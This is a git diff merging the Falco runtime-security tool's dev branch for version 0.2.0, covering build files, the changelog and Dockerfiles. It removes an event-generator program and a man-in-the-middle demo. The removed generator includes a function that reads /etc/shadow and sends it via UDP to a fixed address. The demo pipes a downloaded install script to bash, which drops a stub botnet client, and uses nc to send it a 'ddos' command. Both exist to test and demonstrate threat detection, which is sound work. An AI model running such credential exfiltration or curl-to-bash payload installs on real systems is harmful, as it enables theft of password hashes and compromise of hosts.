Merge pull request #92 from draios/dev

Merging for 0.2.0

.gitignore

@@ -6,14 +6,6 @@ test/traces-negative
 test/traces-positive
 test/traces-info
 test/job-results
-test/.phoronix-test-suite
-test/results*.json.*
 
 userspace/falco/lua/re.lua
 userspace/falco/lua/lpeg.so
-
-docker/event-generator/event-generator
-docker/event-generator/mysqld
-docker/event-generator/httpd
-docker/event-generator/sha1sum
-docker/event-generator/vipw

.travis.yml

@@ -36,11 +36,11 @@ script:
     - make VERBOSE=1
     - make package
     - cd ..
-    - sudo test/run_regression_tests.sh $TRAVIS_BRANCH
+    - sudo test/run_regression_tests.sh
 notifications:
   webhooks:
     urls:
 #      - https://webhooks.gitter.im/e/fdbc2356fb0ea2f15033
     on_success: change
     on_failure: always
-    on_start: never
+    on_start: never

CHANGELOG.md

@@ -2,68 +2,6 @@
 
 This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
 
-## v0.3.0
-
-Released 2016-08-05
-
-### Major Changes
-
-Significantly improved performance, involving changes in the falco and sysdig repositories:
-
-* Reordering a rule condition's operators to put likely-to-fail operators at the beginning and expensive operators at the end. [[#95](https://github.com/draios/falco/pull/95/)] [[#104](https://github.com/draios/falco/pull/104/)]
-* Adding the ability to perform x in (a, b, c, ...) as a single set membership test instead of individual comparisons between x=a, x=b, etc. [[#624](https://github.com/draios/sysdig/pull/624)] [[#98](https://github.com/draios/falco/pull/98/)]
-* Avoid unnecessary string manipulations. [[#625](https://github.com/draios/sysdig/pull/625)]
-* Using `startswith` as a string comparison operator when possible. [[#623](https://github.com/draios/sysdig/pull/623)]
-* Use `is_open_read`/`is_open_write` when possible instead of searching through open flags. [[#610](https://github.com/draios/sysdig/pull/610)]
-* Group rules by event type, which allows for an initial filter using event type before going through each rule's condition. [[#627](https://github.com/draios/sysdig/pull/627)] [[#101](https://github.com/draios/falco/pull/101/)]
-
-All of these changes result in dramatically reduced CPU usage. Here are some comparisons between 0.2.0 and 0.3.0 for the following workloads:
-
-* [Phoronix](http://www.phoronix-test-suite.com/)'s `pts/apache` and `pts/dbench` tests.
-* Sysdig Cloud Kubernetes Demo: Starts a kubernetes environment using docker with apache and wordpress instances + synthetic workloads.
-* [Juttle-engine examples](https://github.com/juttle/juttle-engine/blob/master/examples/README.md) : Several elasticsearch, node.js, logstash, mysql, postgres, influxdb instances run under docker-compose.
-
-| Workload | 0.2.0 CPU Usage | 0.3.0 CPU Usage |
-|----------| --------------- | ----------------|
-| pts/apache | 24% | 7% |
-| pts/dbench | 70% | 5% |
-| Kubernetes-Demo (Running) | 6% | 2% |
-| Kubernetes-Demo (During Teardown) | 15% | 3% |
-| Juttle-examples | 3% | 1% |
-
-As a part of these changes, falco now prefers rule conditions that have at least one `evt.type=` operator, at the beginning of the condition, before any negative operators (i.e. `not` or `!=`). If a condition does not have any `evt.type=` operator, falco will log a warning like:
-
-```
-Rule no_evttype: warning (no-evttype):
-proc.name=foo
-     did not contain any evt.type restriction, meaning it will run for all event types.
-     This has a significant performance penalty. Consider adding an evt.type restriction if possible.
-```
-
-If a rule has a `evt.type` operator in the later portion of the condition, falco will log a warning like:
-
-```
-Rule evttype_not_equals: warning (trailing-evttype):
-evt.type!=execve
-     does not have all evt.type restrictions at the beginning of the condition,
-     or uses a negative match (i.e. "not"/"!=") for some evt.type restriction.
-     This has a performance penalty, as the rule can not be limited to specific event types.
-     Consider moving all evt.type restrictions to the beginning of the rule and/or
-     replacing negative matches with positive matches if possible.
-```
-
-
-### Minor Changes
-
-* Several sets of rule cleanups to reduce false positives. [[#95](https://github.com/draios/falco/pull/95/)]
-* Add example of how falco can detect abuse of a badly designed REST API. [[#97](https://github.com/draios/falco/pull/97/)]
-* Add a new output type "program" that writes a formatted event to a configurable program. Each notification results in one invocation of the program. A common use of this output type would be to send an email for every falco notification. [[#105](https://github.com/draios/falco/pull/105/)] [[#99](https://github.com/draios/falco/issues/99)]
-* Add the ability to run falco on all events, including events that are flagged with `EF_DROP_FALCO`. (These events are high-volume, low-value events that are ignored by default to improve performance). [[#107](https://github.com/draios/falco/pull/107/)] [[#102](https://github.com/draios/falco/issues/102)]
-
-### Bug Fixes
-
-* Add third-party jq library now that sysdig requires it. [[#96](https://github.com/draios/falco/pull/96/)]
-
 ## v0.2.0
 
 Released 2016-06-09

CMakeLists.txt

@@ -6,8 +6,8 @@ if(NOT DEFINED FALCO_VERSION)
 	set(FALCO_VERSION "0.1.1dev")
 endif()
 
-if(NOT DEFINED FALCO_ETC_DIR)
-	set(FALCO_ETC_DIR "/etc")
+if(NOT DEFINED DIR_ETC)
+	set(DIR_ETC "/etc")
 endif()
 
 if(NOT CMAKE_BUILD_TYPE)
@@ -39,7 +39,6 @@ set(PACKAGE_NAME "falco")
 set(PROBE_VERSION "${FALCO_VERSION}")
 set(PROBE_NAME "sysdig-probe")
 set(PROBE_DEVICE_NAME "sysdig")
-set(CMAKE_INSTALL_PREFIX /usr)
 
 set(CMD_MAKE make)
 
@@ -59,18 +58,6 @@ ExternalProject_Add(zlib
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
 
-set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
-message(STATUS "Using bundled jq in '${JQ_SRC}'")
-set(JQ_INCLUDE "${JQ_SRC}")
-set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
-ExternalProject_Add(jq
-                URL "http://download.draios.com/dependencies/jq-1.5.tar.gz"
-                URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
-                CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
-                BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
-                BUILD_IN_SOURCE 1
-                INSTALL_COMMAND "")
-
 set(JSONCPP_SRC "${SYSDIG_DIR}/userspace/libsinsp/third-party/jsoncpp")
 set(JSONCPP_INCLUDE "${JSONCPP_SRC}")
 set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp")
@@ -116,7 +103,6 @@ ExternalProject_Add(yamlcpp
 
 set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
 set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
-set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
 set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
 set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
 
@@ -161,12 +147,11 @@ ExternalProject_Add(luajit
 		INSTALL_COMMAND "")
 
 set (LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
-set (LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a")
 ExternalProject_Add(lpeg
                     DEPENDS luajit
 		    URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
                     URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
-                    BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build"
+                    BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh"
                     BUILD_IN_SOURCE 1
 		    CONFIGURE_COMMAND ""
                     INSTALL_COMMAND "")
@@ -190,19 +175,17 @@ ExternalProject_Add(lyaml
                     BUILD_COMMAND ${CMD_MAKE}
                     BUILD_IN_SOURCE 1
 		    CONFIGURE_COMMAND ./configure --enable-static LIBS=-L../../../libyaml-prefix/src/libyaml/src/.libs CFLAGS=-I../../../libyaml-prefix/src/libyaml/include CPPFLAGS=-I../../../libyaml-prefix/src/libyaml/include LUA_INCLUDE=-I../../../luajit-prefix/src/luajit/src LUA=../../../luajit-prefix/src/luajit/src/luajit
-                    INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua")
+                    INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/falco/lua")
 
 install(FILES falco.yaml
-	DESTINATION "${FALCO_ETC_DIR}")
+	DESTINATION "${DIR_ETC}")
 
 add_subdirectory("${SYSDIG_DIR}/driver" "${PROJECT_BINARY_DIR}/driver")
 add_subdirectory("${SYSDIG_DIR}/userspace/libscap" "${PROJECT_BINARY_DIR}/userspace/libscap")
 add_subdirectory("${SYSDIG_DIR}/userspace/libsinsp" "${PROJECT_BINARY_DIR}/userspace/libsinsp")
 
+add_subdirectory(rules)
 add_subdirectory(scripts)
-set(FALCO_SINSP_LIBRARY sinsp)
-set(FALCO_SHARE_DIR share/falco)
-add_subdirectory(userspace/engine)
 add_subdirectory(userspace/falco)
 
 

README.md

@@ -2,7 +2,7 @@
 
 ####Latest release
 
-**v0.3.0**
+**v0.2.0**
 Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
 
 Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />
@@ -21,6 +21,12 @@ Falco can detect and alert on any behavior that involves making Linux system cal
 - A non-device file is written to `/dev`
 - A standard system binary (like `ls`) makes an outbound network connection
 
+This is the initial falco release. Note that much of falco's code comes from
+[sysdig](https://github.com/draios/sysdig), so overall stability is very good
+for an early release. On the other hand performance is still a work in
+progress. On busy hosts and/or with large rule sets, you may see the current
+version of falco using high CPU. Expect big improvements in coming releases.
+
 Documentation
 ---
 [Visit the wiki] (https://github.com/draios/falco/wiki) for full documentation on falco.

docker/dev/Dockerfile

@@ -14,16 +14,12 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
- && apt-get update \
+RUN apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
 	curl \
-	jq \
-	gnupg2 \
 	ca-certificates \
 	gcc \
-	gcc-5 \
 	gcc-4.9 && rm -rf /var/lib/apt/lists/*
 
 # Terribly terrible hacks: since our base Debian image ships with GCC 5.0 which breaks older kernels,

docker/event-generator/Dockerfile

@@ -1,6 +0,0 @@
-FROM alpine:latest
-RUN apk add --no-cache bash g++
-COPY ./event_generator.cpp /usr/local/bin
-RUN mkdir -p /var/lib/rpm
-RUN g++ --std=c++0x /usr/local/bin/event_generator.cpp -o /usr/local/bin/event_generator
-CMD ["/usr/local/bin/event_generator"]

docker/event-generator/Makefile

@@ -1,2 +0,0 @@
-image:
-	docker build -t sysdig/falco-event-generator:latest .

docker/event-generator/event_generator.cpp

@@ -1,497 +0,0 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
-#include <cstdio>
-#include <utility>
-#include <map>
-#include <set>
-#include <string>
-#include <fstream>
-#include <sstream>
-#include <cstring>
-#include <cstdlib>
-#include <unistd.h>
-#include <getopt.h>
-#include <sys/errno.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/wait.h>
-#include <pwd.h>
-#include <sys/socket.h>
-#include <arpa/inet.h>
-
-using namespace std;
-
-void usage(char *program)
-{
-	printf("Usage %s [options]\n\n", program);
-	printf("Options:\n");
-	printf("     -h/--help: show this help\n");
-	printf("     -a/--action: actions to perform. Can be one of the following:\n");
-	printf("          write_binary_dir                           Write to files below /bin\n");
-	printf("          write_etc                                  Write to files below /etc\n");
-	printf("          read_sensitive_file                        Read a sensitive file\n");
-	printf("          read_sensitive_file_after_startup          As a trusted program, wait a while,\n");
-	printf("                                                     then read a sensitive file\n");
-	printf("          write_rpm_database                         Write to files below /var/lib/rpm\n");
-	printf("          spawn_shell                                Run a shell (bash)\n");
-	printf("          db_program_spawn_process                   As a database program, try to spawn\n");
-	printf("                                                     another program\n");
-	printf("          modify_binary_dirs                         Modify a file below /bin\n");
-	printf("          mkdir_binary_dirs                          Create a directory below /bin\n");
-	printf("          change_thread_namespace                    Change namespace\n");
-	printf("          system_user_interactive                    Change to a system user and try to\n");
-	printf("                                                     run an interactive command\n");
-	printf("          network_activity                           Open network connections\n");
-	printf("                                                     (used by system_procs_network_activity below)\n");
-	printf("          system_procs_network_activity              Open network connections as a program\n");
-	printf("                                                     that should not perform network actions\n");
-	printf("          non_sudo_setuid                            Setuid as a non-root user\n");
-	printf("          create_files_below_dev                     Create files below /dev\n");
-	printf("          exec_ls                                    execve() the program ls\n");
-	printf("                                                     (used by user_mgmt_binaries below)\n");
-	printf("          user_mgmt_binaries                         Become the program \"vipw\", which triggers\n");
-	printf("                                                     rules related to user management programs\n");
-	printf("          exfiltration                               Read /etc/shadow and send it via udp to a\n");
-	printf("                                                     specific address and port\n");
-	printf("          all                                        All of the above\n");
-	printf("       The action can also be specified via the environment variable EVENT_GENERATOR_ACTIONS\n");
-	printf("           as a colon-separated list\n");
-	printf("       if specified, -a/--action overrides any environment variables\n");
-	printf("     -i/--interval: Number of seconds between actions\n");
-	printf("     -o/--once: Perform actions once and exit\n");
-}
-
-void open_file(const char *filename, const char *flags)
-{
-	FILE *f = fopen(filename, flags);
-	if(f)
-	{
-		fclose(f);
-	}
-	else
-	{
-		fprintf(stderr, "Could not open %s for writing: %s\n", filename, strerror(errno));
-	}
-
-}
-
-void exfiltration()
-{
-	ifstream shadow;
-
-	shadow.open("/etc/shadow");
-
-	if(!shadow.is_open())
-	{
-		fprintf(stderr, "Could not open /etc/shadow for reading: %s", strerror(errno));
-		return;
-	}
-
-	string line;
-	string shadow_contents;
-	while (getline(shadow, line))
-	{
-		shadow_contents += line;
-		shadow_contents += "\n";
-	}
-
-	int rc;
-	ssize_t sent;
-	int sock = socket(PF_INET, SOCK_DGRAM, 0);
-	struct sockaddr_in dest;
-
-	dest.sin_family = AF_INET;
-	dest.sin_port = htons(8197);
-	inet_aton("10.5.2.6", &(dest.sin_addr));
-
-	if((rc = connect(sock, (struct sockaddr *) &dest, sizeof(dest))) != 0)
-	{
-		fprintf(stderr, "Could not bind listening socket to dest: %s\n", strerror(errno));
-		return;
-	}
-
-	if ((sent = send(sock, shadow_contents.c_str(), shadow_contents.size(), 0)) != shadow_contents.size())
-	{
-		fprintf(stderr, "Could not send shadow contents via udp datagram: %s\n", strerror(errno));
-		return;
-	}
-
-	close(sock);
-}
-
-void touch(const char *filename)
-{
-	open_file(filename, "w");
-}
-
-void read(const char *filename)
-{
-	open_file(filename, "r");
-}
-
-uid_t become_user(const char *user)
-{
-	struct passwd *pw;
-	pw = getpwnam(user);
-	if(pw == NULL)
-	{
-		fprintf(stderr, "Could not find user information for \"%s\" user: %s\n", user, strerror(errno));
-		exit(1);
-	}
-
-	int rc = setuid(pw->pw_uid);
-
-	if(rc != 0)
-	{
-		fprintf(stderr, "Could not change user to \"%s\" (uid %u): %s\n", user, pw->pw_uid, strerror(errno));
-		exit(1);
-	}
-}
-
-void spawn(const char *cmd, char **argv, char **env)
-{
-	pid_t child;
-
-	// Fork a process, that way proc.duration is reset
-	if ((child = fork()) == 0)
-	{
-		execve(cmd, argv, env);
-		fprintf(stderr, "Could not exec to spawn %s: %s\n", cmd, strerror(errno));
-	}
-	else
-	{
-		int status;
-		waitpid(child, &status, 0);
-	}
-}
-
-void respawn(const char *cmd, const char *action, const char *interval)
-{
-	char *argv[] = {(char *) cmd,
-			(char *) "--action", (char *) action,
-			(char *) "--interval", (char *) interval,
-			(char *) "--once", NULL};
-
-	char *env[] = {NULL};
-
-	spawn(cmd, argv, env);
-}
-
-void write_binary_dir() {
-	printf("Writing to /bin/created-by-event-generator-sh...\n");
-	touch("/bin/created-by-event-generator-sh");
-}
-
-void write_etc() {
-	printf("Writing to /etc/created-by-event-generator-sh...\n");
-	touch("/etc/created-by-event-generator-sh");
-}
-
-void read_sensitive_file() {
-	printf("Reading /etc/shadow...\n");
-	read("/etc/shadow");
-}
-
-void read_sensitive_file_after_startup() {
-	printf("Becoming the program \"httpd\", sleeping 6 seconds and reading /etc/shadow...\n");
-	respawn("./httpd", "read_sensitive_file", "6");
-}
-
-void write_rpm_database() {
-	printf("Writing to /var/lib/rpm/created-by-event-generator-sh...\n");
-	touch("/var/lib/rpm/created-by-event-generator-sh");
-}
-
-void spawn_shell() {
-	printf("Spawning a shell using system()...\n");
-	int rc;
-
-	if ((rc = system("ls > /dev/null")) != 0)
-	{
-		fprintf(stderr, "Could not run ls > /dev/null in a shell: %s\n", strerror(errno));
-	}
-}
-
-void db_program_spawn_process() {
-	printf("Becoming the program \"mysql\" and then spawning a shell\n");
-	respawn("./mysqld", "spawn_shell", "0");
-}
-
-void modify_binary_dirs() {
-	printf("Moving /bin/true to /bin/true.event-generator-sh and back...\n");
-
-	if (rename("/bin/true", "/bin/true.event-generator-sh") != 0)
-	{
-		fprintf(stderr, "Could not rename \"/bin/true\" to \"/bin/true.event-generator-sh\": %s\n", strerror(errno));
-	}
-	else
-	{
-		if (rename("/bin/true.event-generator-sh", "/bin/true") != 0)
-		{
-			fprintf(stderr, "Could not rename \"/bin/true.event-generator-sh\" to \"/bin/true\": %s\n", strerror(errno));
-		}
-	}
-}
-
-void mkdir_binary_dirs() {
-	printf("Creating directory /bin/directory-created-by-event-generator-sh...\n");
-	if (mkdir("/bin/directory-created-by-event-generator-sh", 0644) != 0)
-	{
-		fprintf(stderr, "Could not create directory \"/bin/directory-created-by-event-generator-sh\": %s\n", strerror(errno));
-	}
-}
-
-void change_thread_namespace() {
-	printf("Calling setns() to change namespaces...\n");
-	// It doesn't matter that the arguments to setns are
-	// bogus. It's the attempt to call it that will trigger the
-	// rule.
-	setns(0, 0);
-}
-
-void system_user_interactive() {
-	pid_t child;
-
-	// Fork a child and do everything in the child.
-	if ((child = fork()) == 0)
-	{
-		become_user("daemon");
-		char *argv[] = {(char *)"/bin/login", NULL};
-		char *env[] = {NULL};
-		spawn("/bin/login", argv, env);
-		exit(0);
-	}
-	else
-	{
-		int status;
-		waitpid(child, &status, 0);
-	}
-}
-
-void network_activity() {
-	printf("Opening a listening socket on port 8192...\n");
-	int rc;
-	int sock = socket(PF_INET, SOCK_DGRAM, 0);
-	struct sockaddr_in localhost;
-
-	localhost.sin_family = AF_INET;
-	localhost.sin_port = htons(8192);
-	inet_aton("127.0.0.1", &(localhost.sin_addr));
-
-	if((rc = bind(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
-	{
-		fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
-		return;
-	}
-
-	listen(sock, 1);
-
-	close(sock);
-}
-
-void system_procs_network_activity() {
-	printf("Becoming the program \"sha1sum\" and then performing network activity\n");
-	respawn("./sha1sum", "network_activity", "0");
-}
-
-void non_sudo_setuid() {
-	pid_t child;
-
-	// Fork a child and do everything in the child.
-	if ((child = fork()) == 0)
-	{
-		// First setuid to something non-root. Then try to setuid back to root.
-		become_user("daemon");
-		become_user("root");
-		exit(0);
-	}
-	else
-	{
-		int status;
-		waitpid(child, &status, 0);
-	}
-}
-
-void create_files_below_dev() {
-	printf("Creating /dev/created-by-event-generator-sh...\n");
-	touch("/dev/created-by-event-generator-sh");
-}
-
-void exec_ls()
-{
-	char *argv[] = {(char *)"/bin/ls", NULL};
-	char *env[] = {NULL};
-	spawn("/bin/ls", argv, env);
-}
-
-void user_mgmt_binaries() {
-	printf("Becoming the program \"vipw\" and then running the program /bin/ls\n");
-	printf("NOTE: does not result in a falco notification in containers\n");
-	respawn("./vipw", "exec_ls", "0");
-}
-
-typedef void (*action_t)();
-
-map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
-					 {"write_etc", write_etc},
-					 {"read_sensitive_file", read_sensitive_file},
-					 {"read_sensitive_file_after_startup", read_sensitive_file_after_startup},
-					 {"write_rpm_database", write_rpm_database},
-					 {"spawn_shell", spawn_shell},
-					 {"db_program_spawn_process", db_program_spawn_process},
-					 {"modify_binary_dirs", modify_binary_dirs},
-					 {"mkdir_binary_dirs", mkdir_binary_dirs},
-					 {"change_thread_namespace", change_thread_namespace},
-					 {"system_user_interactive", system_user_interactive},
-					 {"network_activity", network_activity},
-					 {"system_procs_network_activity", system_procs_network_activity},
-					 {"non_sudo_setuid", non_sudo_setuid},
-					 {"create_files_below_dev", create_files_below_dev},
-					 {"exec_ls", exec_ls},
-					 {"user_mgmt_binaries", user_mgmt_binaries},
-					 {"exfiltration", exfiltration}};
-
-
-void create_symlinks(const char *program)
-{
-	int rc;
-
-	// Some actions depend on this program being re-run as
-	// different program names like 'mysqld', 'httpd', etc. This
-	// sets up all the required symlinks.
-	const char *progs[] = {"./httpd", "./mysqld", "./sha1sum", "./vipw", NULL};
-
-	for (unsigned int i=0; progs[i] != NULL; i++)
-	{
-		unlink(progs[i]);
-
-		if ((rc = symlink(program, progs[i])) != 0)
-		{
-			fprintf(stderr, "Could not link \"./event_generator\" to \"%s\": %s\n", progs[i], strerror(errno));
-		}
-	}
-}
-
-void run_actions(map<string, action_t> &actions, int interval, bool once)
-{
-	while (true)
-	{
-		for (auto action : actions)
-		{
-			sleep(interval);
-			printf("***Action %s\n", action.first.c_str());
-			action.second();
-		}
-		if(once)
-		{
-			break;
-		}
-	}
-}
-
-int main(int argc, char **argv)
-{
-	map<string, action_t> actions;
-	int op;
-	int long_index = 0;
-	int interval = 1;
-	bool once = false;
-	map<string, action_t>::iterator it;
-
-	static struct option long_options[] =
-	{
-		{"help", no_argument, 0, 'h' },
-		{"action", required_argument, 0, 'a' },
-		{"interval", required_argument, 0, 'i' },
-		{"once", no_argument, 0, 'o' },
-
-		{0, 0}
-	};
-
-	//
-	// Parse the args
-	//
-	while((op = getopt_long(argc, argv,
-				"ha:i:l:",
-				long_options, &long_index)) != -1)
-	{
-		switch(op)
-		{
-		case 'h':
-			usage(argv[0]);
-			exit(1);
-		case 'a':
-			if((it = defined_actions.find(optarg)) == defined_actions.end())
-			{
-				fprintf(stderr, "No action with name \"%s\" known, exiting.\n", optarg);
-				exit(1);
-			}
-			actions.insert(*it);
-			break;
-		case 'i':
-			interval = atoi(optarg);
-			break;
-		case 'o':
-			once = true;
-			break;
-		default:
-			usage(argv[0]);
-			exit(1);
-		}
-	}
-
-	//
-        // Also look for actions in the environment. If specified, they
-        // override any specified on the command line.
-	//
-	char *env_action = getenv("EVENT_GENERATOR_ACTIONS");
-
-	if(env_action)
-	{
-		actions.clear();
-
-		string envs(env_action);
-		istringstream ss(envs);
-		string item;
-		while (std::getline(ss, item, ':'))
-		{
-			if((it = defined_actions.find(item)) == defined_actions.end())
-			{
-				fprintf(stderr, "No action with name \"%s\" known, exiting.\n", item.c_str());
-				exit(1);
-			}
-			actions.insert(*it);
-		}
-	}
-
-	if(actions.size() == 0)
-	{
-		actions = defined_actions;
-	}
-
-	setvbuf(stdout, NULL, _IONBF, 0);
-	setvbuf(stderr, NULL, _IONBF, 0);
-	// Only create symlinks when running as the program event_generator
-	if (strstr(argv[0], "generator"))
-	{
-		create_symlinks(argv[0]);
-	}
-
-	run_actions(actions, interval, once);
-}

docker/stable/Dockerfile

@@ -14,16 +14,12 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
- && apt-get update \
+RUN apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
 	curl \
-	jq \
 	ca-certificates \
-	gnupg2 \
 	gcc \
-	gcc-5 \
 	gcc-4.9 && rm -rf /var/lib/apt/lists/*
 
 # Terribly terrible hacks: since our base Debian image ships with GCC 5.0 which breaks older kernels,

examples/mitm-sh-installer/README.md

@@ -1,78 +0,0 @@
-#Demo of falco with man-in-the-middle attacks on installation scripts
-
-For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
-
-## Demo architecture
-
-### Initial setup
-
-Make sure no prior `botnet_client.py` processes are lying around.
-
-### Start everything using docker-compose
-
-From this directory, run the following:
-
-```
-$ docker-compose -f demo.yml up
-```
-
-This starts the following containers:
-* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
-* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
-* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
-* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
-* falco: will detect the activities of botnet_client.py.
-
-### Download `install-software.sh`, see botnet client running
-
-Run the following to fetch and execute the installation script,
-which also installs the botnet client:
-
-```
-$ curl http://localhost/install-software.sh | bash
-```
-
-You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
-
-Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
-
-```
-$ ps auxww  | grep python
-...
-root   19983  0.1  0.4  33992  8832 pts/1    S    13:34   0:00 python ./botnet_client.py
-
-$ telnet localhost 1234
-Trying ::1...
-Trying 127.0.0.1...
-Connected to localhost.
-Escape character is '^]'.
-```
-
-You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
-
-```
-attacker_botnet_master | Trying to contact compromised machine...
-attacker_botnet_master | Waiting for botnet command and control commands...
-attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
-attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
-```
-
-At this point, kill the botnet_client.py process to clean things up.
-
-### Run installation script again using `fbash`, note falco warnings.
-
-If you run the installation script again:
-
-```
-curl http://localhost/install-software.sh | ./fbash
-```
-
-In the docker-compose output, you'll see the following falco warnings:
-
-```
-falco                  | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)
-falco                  | 23:19:56.528667589: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=)
-falco                  | 23:19:56.530758087: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=::1:41996->::1:9090)
-falco                  | 23:19:56.605318716: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
-falco                  | 23:19:56.605323967: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
-```

examples/mitm-sh-installer/botnet_master.sh

@@ -1,7 +0,0 @@
-#!/bin/sh
-
-while true; do
-    echo "Trying to contact compromised machine..."
-    echo "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec" | nc localhost 1234 && echo "**********Contacted compromised machine, sent botnet commands"
-    sleep 5
-done

examples/mitm-sh-installer/demo.yml

@@ -1,51 +0,0 @@
-# Owned by software vendor, serving install-software.sh.
-apache:
-  container_name: apache
-  image: httpd:2.4
-  volumes:
-        - ${PWD}/web_root:/usr/local/apache2/htdocs
-
-# Owned by software vendor, compromised by attacker.
-nginx:
-  container_name: mitm_nginx
-  image: nginx:latest
-  links:
-    - apache
-  ports:
-      - "80:80"
-  volumes:
-        - ${PWD}/nginx.conf:/etc/nginx/nginx.conf:ro
-
-# Owned by attacker.
-evil_apache:
-  container_name: evil_apache
-  image: httpd:2.4
-  volumes:
-        - ${PWD}/evil_web_root:/usr/local/apache2/htdocs
-  ports:
-      - "9090:80"
-
-# Owned by attacker, constantly trying to contact client.
-attacker_botnet_master:
-  container_name: attacker_botnet_master
-  image: alpine:latest
-  net: host
-  volumes:
-    - ${PWD}/botnet_master.sh:/tmp/botnet_master.sh
-  command:
-    - /tmp/botnet_master.sh
-
-# Owned by client, detects attack by attacker
-falco:
-  container_name: falco
-  image: sysdig/falco:latest
-  privileged: true
-  volumes:
-    - /var/run/docker.sock:/host/var/run/docker.sock
-    - /dev:/host/dev
-    - /proc:/host/proc:ro
-    - /boot:/host/boot:ro
-    - /lib/modules:/host/lib/modules:ro
-    - /usr:/host/usr:ro
-    - ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
-  tty: true

examples/mitm-sh-installer/evil_web_root/botnet_client.py

@@ -1,18 +0,0 @@
-import socket;
-import signal;
-import os;
-
-os.close(0);
-os.close(1);
-os.close(2);
-
-signal.signal(signal.SIGINT,signal.SIG_IGN);
-serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-serversocket.bind(('0.0.0.0', 1234))
-serversocket.listen(5);
-while 1:
-    (clientsocket, address) = serversocket.accept();
-    clientsocket.send('Waiting for botnet command and control commands...\n');
-    command = clientsocket.recv(1024)
-    clientsocket.send('Ok, will execute "{}"\n'.format(command.strip()))
-    clientsocket.close()

examples/mitm-sh-installer/fbash

@@ -1,15 +0,0 @@
-#!/bin/bash
-
-SID=`ps --no-heading -o sess --pid $$`
-
-if [ $SID -ne $$ ]; then
-    # Not currently a session leader? Run a copy of ourself in a new
-    # session, with copies of stdin/stdout/stderr.
